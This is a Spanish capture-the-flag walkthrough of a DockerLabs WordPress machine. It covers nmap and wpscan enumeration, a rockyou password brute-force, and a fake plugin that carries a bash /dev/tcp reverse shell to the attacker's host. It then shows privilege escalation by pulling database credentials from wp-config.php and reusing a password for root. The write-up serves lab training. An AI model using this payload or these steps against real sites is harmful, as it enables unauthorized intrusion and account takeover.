Paradise
🚀Preparación del Entorno
El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:
📌 Paso 1: Descargar el archivo CTF
Descarga el archivo ZIP del CTF que deseas utilizar.
📌 Paso 2: Descomprimir el archivo
Ejecuta el siguiente comando en la terminal:
unzip [nombre].zip
📂 Esto extraerá los siguientes archivos:
auto_deploy.sh(script de despliegue).[nombre].tar(imagen de la máquina virtual).
📌 Paso 3: Ejecutar el script de despliegue
Para iniciar el despliegue de la máquina virtual, ejecuta:
sudo bash auto_deploy.sh [nombre].tar
🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.
🎯Resolución
🔍 Reconocimiento
Comenzamos determinando si el objetivo es Windows o Linux enviando paquetes ICMP:
ping -c 3 172.17.0.2

📌 El valor TTL=64 → Linux
Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
-
-sVC: Escaneo de versiones de servicios y ejecución de scripts. -
-p-: Escanea todos los puertos (1-65535). -
-n: Desactiva la resolución DNS. -
--min-rate 5000: Envía paquetes a una tasa mínima de 5000 por segundo para acelerar el escaneo.

🔍 Servicios detectados: -
🌐 HTTP en el puerto
80
🔍 Inspección manual del sitio en http://172.17.0.2:
🔗 Navegamos a http://172.17.0.2 para observar el contenido expuesto por el servidor web.

🕵️Análisis de vulnerabilidades
🔎 Al inspeccionar la página principal, notamos que se hace referencia a un **dominio

➡️ Para acceder correctamente, agregamos el dominio al archivo /etc/hosts:
sudo nano /etc/hosts
Añadimos la siguiente línea:
172.17.0.2 pressenter.hl
🔗 Luego accedemos al sitio desde el navegador:
http://pressenter.hl/

Utilizamos whatweb para detectar las tecnologías utilizadas:
whatweb http://pressenter.hl/

💡 Detectamos que el sitio está construido con WordPress.
Procedemos a realizar un escaneo con wpscan:
wpscan --url http://pressenter.hl/
📌 El escaneo revela que el sitio utiliza un tema desactualizado
Además, al explorar manualmente el sitio, observamos un comentario dejado por el usuario pressi 🗨️

Lanzamos un escaneo para enumerar los usuarios del CMS:
wpscan --url http://pressenter.hl/ --enumerate u
✅ Obtenemos los siguientes usuarios del WordPress:
-
hacker -
pressi

🎯 Explotación
Ya que tenemos los dos usuarios de WordPress, intentamos un ataque de fuerza bruta sobre el usuario pressi utilizando la herramienta wpscan:
wpscan --url http://pressenter.hl/ -U pressi -P /usr/share/wordlists/rockyou.txt
📂 Contraseña encontrada: dumbass

🔐 Acceso al panel de administración
Iniciamos sesión en http://pressenter.hl/wp-admin/ con las credenciales:
-
Usuario:
pressi -
Contraseña:
dumbass
Una vez dentro, si tenemos permisos para subir plugins, podemos cargar una reverse shell camuflada como plugin.
Creamos un archivo reverse.php con el siguiente contenido:
<?php
/*
Plugin Name: WPReverseShell
Plugin URI: https://malicious.example.com
Description: Educational reverse shell plugin for testing.
Version: 1.0
Author: RedTeam
Author URI: https://malicious.example.com
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/9001 0>&1'");
?>
Luego lo comprimimos en formato .zip:
zip reverse.zip reverse.php
Preparamos el listener con Netcat:
nc -lvnp 9001
Y subimos el archivo ZIP desde la interfaz de administración de plugins de WordPress:

Activamos el plugin desde el panel, lo cual ejecuta la reverse shell automáticamente 🔁
✅ ¡Shell recibida exitosamente!

Una vez obtenemos la reverse shell, es necesario ajustar algunos parámetros para hacerla más manejable. Esto nos permitirá usar combinaciones de teclas como Ctrl+C sin interrumpir la conexión, y también limpiar la pantalla con Ctrl+L.
Para mejorar la experiencia, ejecutamos los siguientes comandos:
script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash
Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:
# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115
📈 Escalada de privilegios
Verificamos los permisos sudo:
sudo -l
❌ No hay comandos permitidos, así que buscamos binarios con el bit SUID:
find / -type f -perm -4000 2>/dev/null
❌ No se encontraron binarios útiles.
Listamos los procesos en ejecución:
ps -faux
❌ Sin procesos interesantes a simple vista.
Observamos que en el directorio /home existe un usuario llamado enter:

Como estamos en un entorno WordPress, inspeccionamos su archivo de configuración para extraer credenciales:
nano /var/www/pressenter/wp-config.php
📌 Encontramos la contraseña del usuario admin para la base de datos.

Nos conectamos usando las credenciales encontradas:
mysql -u admin -p
Listamos las bases de datos:
show databases;
Entramos a la base de datos wordpress:
use wordpress
📄 Listamos las tablas:
SHOW TABLES;
SELECT * FROM wp_usernames;
🔑 Encontramos la contraseña del usuario enter: kernellinuxhack

Usamos su para cambiar al usuario enter:

Probamos la misma contraseña para el usuario root:
🔑 Contraseña: kernellinuxhack
